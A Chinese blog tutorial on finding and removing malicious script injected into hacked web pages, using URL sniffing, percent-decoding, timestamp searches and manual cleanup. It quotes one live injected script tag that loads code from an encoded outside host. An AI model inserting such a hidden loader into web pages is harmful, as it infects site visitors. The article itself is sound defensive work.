网站挂马检测与清除

简介:



网站挂马检测与清除

陈小兵
据不完全统计, 90% 的网站都被挂过马,挂马是指在获取网站或者网站服务器的部分或者全部权限后,在网页文件中插入一段恶意代码,这些恶意代码主要是一些包括 IE 等漏洞利用代码,用户访问被挂马的页面时,如果系统没有更新恶意代码中利用的漏洞补丁,则会执行恶意代码程序,进行盗号等危险超过。目前挂马主要是为了商业利益,有的挂马是为了赚取流量,有的是为了盗取游戏等账号,也有的是为了好玩,不管是处于那种目的,对于访问被挂马的网站来说都是一种潜在的威胁,影响运营网站公司形象。
当一个网站运营很长时间后,网站文件会非常多,手工查看网页文件代码非常困难,杀毒软件仅仅对恶意代码进行查杀,对网页木马以及挂马程序不一定全部查杀,本文就如何利用一些安全检测工具软件来检测和清除网站木马方面进行探讨,使用本文提及的工具可以很轻松的检测网站是否被挂马。
     一、检测网页木马程序
   1. 安装 urlsnooper  软件
   Urlsnooper 是一款 URL 嗅探工具,其官方主页地址为: [url]http://www.donationcoder.com/urlsnooper[/url] ,安装非常简单,按照提示进行安装即可。第一次使用时需要程序会自动检查网卡,查看能否正常连接网络,设置正确无误后,应该出现如图 1 所示的画面。
安装正确后的界面
注意:
    如果未出现图 1 所示界面,说明程序设置存在问题,笔者在测试时使用发现该程序无法检测无线网卡,因此无法在无限网络中使用。
   2. 对网站进行侦测
   Urlsnooper 中的“ Protocol Filter ”中选择“ Show All ”,然后单击“ Sniff Network ”按钮开始监听网络。接着使用 IE 浏览器打开需要进行检测木马的网站, Urlsnooper 会自动抓取网站中的所有连接,在 Index 中按照五位数字序号进行排列,如图 2 所示。
监听结果
说明:
在侦测结果中可能包含的连接地址非常多,这个时候就需要进行排查,可以选中每一个记录, Urlsnooper 会在下方中显示详细的监听结果,如图 2 所示,就发现存在一段挂马代码: <script src=http://%61%76%65%31%2E%63%6E></script>
在百度搜索中对其进行搜索,如图 3 所示,有 30 多项搜索结果,从查询结果可以辅佐证明该段代码为挂马代码。
搜索结果
说明:要善于运用网络搜索引擎,通过搜索可以知道目前关于该问题的描述和解决方法等。
3. 对地址进行解码
该地址采用了一种编码,我对常用的这种编码值进行了整理,如下表所示,从中可以找出该代码中的真实地址为 [url]http://ave1.cn[/url]
 
编码对应表
原值
解码前的值
原值
解码前的值
原值
解码前的值
backspace
%08
I
%49
u 
%75
tab
%09
J
%4A
v 
%76
linefeed
%0A
K
%4B
w
%77
creturn
%0D
L
%4C
x
%78
space
%20
M
%4D
y
%79
!
%21
N
%4E
z 
%7A
"
%22
O
%4F
{ 
%7B
#
%23
P
%50
| 
%7C
$
%24
Q
%51
}
%7D
%
%25
R
%52
 
 
&
%26
S
%53
 
 
'
%27
T
%54
 
 
(
%28
U
%55
 
 
)
%29
V
%56
 
 
*
%2A
W
%57
 
 
+
%2B
X
%58
 
 
,
%2C
Y
%59
 
 
-
%2D
Z
%5A
 
 
.
%2E
[
%5B
 
 
/
%2F
\
%5C
 
 
0
%30
]
%5D
 
 
1
%31
^
%5E
 
 
2
%32
_
%5F
 
 
3
%33
`
%60
 
 
4
%34
a
%61
 
 
5
%35
b
%62
 
 
6
%36
c
%63
 
 
7
%37
d
%64
 
 
8
%38
e
%65
 
 
9
%39
f
%66
 
 
:
%3A
g
%67
 
 
;
%3B
h
%68
 
 
%3C
i
%69
 
 
=
%3D
j
%6A
 
 
%3E
k
%6B
 
 
?
%3F
l
%6C
 
 
@
%40
m
%6D
 
 
A
%41
n
%6E
 
 
B
%42
o
%6F
 
 
C
%43
p
%70
 
 
D
%44
q
%71
 
 
E
%45
r
%72
 
 
F
%46
s
%73
 
 
G
%47
t
%74
 
 
H
%48
u
%75
 
 
4. 获取该网站相关内容
可以使用 Flashget 的资源管理器去获取该网站的内容,如图 4 所示,打开 Flashget 下载工具,单击“工具” - “站点资源探索器”,打开站点资源探索器,在地址中输入“ [url]http://ave1.cn[/url] ”,然后回车即可获取该网站的一些资源,在站点资源探索器中可以直接下载看见的文件,下载到本地进行查看。
使用“站点资源探索器”获取站点资源
说明:
使用“ Flashget 站点资源探索器”可以很方便的获取挂马者代码地址中的一些资源,这些资源可能是挂马的真实代码,透过这些代码可以知道挂马者是采用哪个漏洞,有时候还可以获取 0day
在本例中由于时间较长,挂马者已经撤销了原来的挂马程序文件,在该网站中获取的 html 文件没有用处,且有些文件已经不存在了,无法对原代码文件进行分析。
二、清除网站中的恶意代码(挂马代码)
1. 确定挂马文件
清除网站恶意代码首先需要知道哪些文件被挂马了,判断方法有三个,方法一就是通过直接查看代码,从中找出挂马代码;方法二是通过查看网站目录修改时间,通过时间进行判断;方法三使用本文提到的软件进行直接定位,通过监听找出恶意代码。在本案例中,网站首页是被确认挂马了,通过查看时间知道被挂马时间是 8 25 左右,因此可以通过使用资源管理器中的搜索功能,初步定位时间为 8 24 26 日,搜索这个时间范围修改或者产生的文件,如图 5 ,图 6 所示,搜索出来几十个这个时间段的文件。
搜索被修改文件
搜索结果
2. 清除恶意代码
可以使用记事本打开代码文件从中清除恶意代码,在清除代码时一定要注意不要使用 FrontPage 的预览或者设计,否则会直接访问挂马网站,感染木马程序。建议使用记事本等文本编辑器。在清除恶意代码过程中,发现挂马者竟然对 js 文件也不放过,如图 7 所示。
js 文件进行挂马
技巧:
可以使用 Frontpage 中的替换功能替换当前站点中的所有指定代码。
总结
本文操作简单,写起来比较复杂,关键在于使用 urlsnooper 软件定位挂马网页文件,然后就是对挂马代码(恶意代码)进行分析,最后是手工活,清除网站中的恶意代码。

 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/101784

相关文章
|
2月前
|
监控 安全 网络安全
什么是劫持检查,劫持检测意义是什么
什么是劫持检查,劫持检测意义是什么
|
安全 网络协议 算法
电脑病毒木马的清除和防范方法
电脑病毒木马的清除和防范方法
1122 0
电脑病毒木马的清除和防范方法
|
缓存 前端开发 JavaScript
网站被劫持跳转的症状与木马清理
先来看一下这个症状是什么样的,这里我找到了一个客户网站的案例,那么当我在通过百度搜索某些关键词的时候,当我点击这个链接的时候,它会给你跳到这种菠菜的页面,那么怎么样判断它是前端还是后端PHP进行了一个劫持,那么我们就把这个链接复制过来,复制好了后,我打开这个调试面板,然后在这里有一个 settings的这个一个设置按钮,把这个disable javascript这个脚本把它禁用,那么禁用之后把刚才这复制过来的这个快照链接把它复制过来,然后敲一下回车,就会发现发现它是不会跳转的,所以对于这一种请求跳转,我们把它称之为叫做前端拦截。要知道前一两年这种形式还是比较少的,但是今年发现的就越来越多,原
670 0
网站被劫持跳转的症状与木马清理
|
安全 搜索推荐
网站快照收录被黑客攻击劫持跳转
我们普通用户一般很难发现,今天有一个客户咨询我,说为什么他的一个网站的信息显示在一个菠菜网站上?我说这是人家利用了你的网站数据后被搜索引擎收录而留下的一个快照,快照是你的信息,打开却是违法信息,还有一种情况是快照是非法信息,而打开却是正常的网站信息,这种情况一般是网站被挂马或者域名遭到了劫持,在你 site搜索某个网站域名的时候,发现标题描述关键词全部被改掉了,点击以后会进入一个非法的网站页面,它替换掉了你被搜索引擎收录的快照信息并做了跳转,如果你自己在浏览器地址栏输入网址进去,并不会发现问题的所在,这种情况并不会直接破坏掉你网站的信息。
155 0
网站快照收录被黑客攻击劫持跳转
|
SQL 监控 安全
网站木马清除对被植入木马 导致被西部数码关闭网站的解决办法
前段时间有一客户的网站打不开了,打开网站被提示什么:抱歉,主机因存在有害信息逾期未处理被关闭 Sorry, the site now can not be accessed. 客户第一时间找到我们SINE安全寻求解决方案,我们根据客户的反馈,进行详细的记录,分析问题,找到了被系统自动阻断拦截的原因,客户网站用的是西部数码主机,再一个主要的原因是,客户网站被篡改并上传了一些有害,违法的内容信息,导致被西部数码的有害信息监测处置系统监控到,立即进行了拦截,阻断处理。关于这个安全问题,我们记录下了整个的处理过程。
209 0
网站木马清除对被植入木马 导致被西部数码关闭网站的解决办法
|
文字识别 安全 机器人
网站漏洞修复之验证码安全检测
在对网站安全进行整体的安全检测的时候,用户登陆以及用户留言,评论,设置支付密码,以及一些网站功能方面都会用到图片验证码,针对于验证码我们SINE安全对其进行了详细的网站安全检测,以及图片验证码安全防护方面,都会详细的跟大家讲解一下。验证码分很多种,图片形式的验证码是目前网站用的最多的,还有一些短信的验证码,手机语言验证码,答题验证码,都是属于网站所用到的验证码,今天主要跟大家讲解的就是图片验证码。
228 0
网站漏洞修复之验证码安全检测
|
安全 JavaScript .NET
如何预防和检测网页挂马?
在网站优化设计当中,检测网页木马也是很重要的一项工作,目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的。本文主要介绍网页挂马的种类、如何检测网页是否被挂马、如何清除网页木马。如何防止网页被挂马。
2833 0
|
安全 数据库 数据安全/隐私保护
|
安全 .NET 数据安全/隐私保护